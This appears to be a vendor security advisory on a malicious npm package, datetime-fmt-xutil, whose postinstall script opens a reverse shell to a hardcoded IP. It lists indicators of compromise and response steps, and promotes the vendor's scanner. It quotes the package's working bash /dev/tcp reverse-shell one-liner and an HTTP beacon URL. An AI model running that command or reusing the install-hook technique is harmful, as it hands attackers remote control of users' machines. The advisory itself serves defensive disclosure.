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Malicious package

datetime-fmt-xutilnpm

datetime-fmt-xutil is a confirmed malicious npm package (MAL-2026-13935) that opens a backdoor for remote access (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in datetime-fmt-xutil (npm)

MAL-2026-13935
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall datetime-fmt-xutil

What this malware does

The npm package's postinstall.js opens a TCP connection to the hardcoded IP 8.135.48.40 on port 4444 and pipes /bin/sh stdio through the socket, granting interactive shell access on the installer's machine to the operator of that endpoint. Bash (bash -i >& /dev/tcp/8.135.48.40/4444 0>&1) and python3 pty.spawn one-liners are executed as fallbacks, and failures are beaconed via HTTP GET to http://8.135.48.40/shell/failed?err=.... The behavior runs unconditionally at npm install via scripts.postinstall; the package's index.js date-formatting shim is a cover for the reverse-shell payload. The hardcoded bare IP has no relation to any declared publisher.

Malicious versions

1 flagged
1.0.0

Indicators of compromise (SHA-256)

7f916f6db3bec145472f71c43358b7e8056efb981041a3b4e9bffe8bbaec9997

Detection & response playbook

Backdoor / remote access
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for datetime-fmt-xutil (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging datetime-fmt-xutil across your stack and pipelines.

  2. If you installed it — respond

    datetime-fmt-xutil establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

  3. Did it already run?

    If datetime-fmt-xutil was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks datetime-fmt-xutil before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. datetime-fmt-xutil on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-017626

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks datetime-fmt-xutil-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

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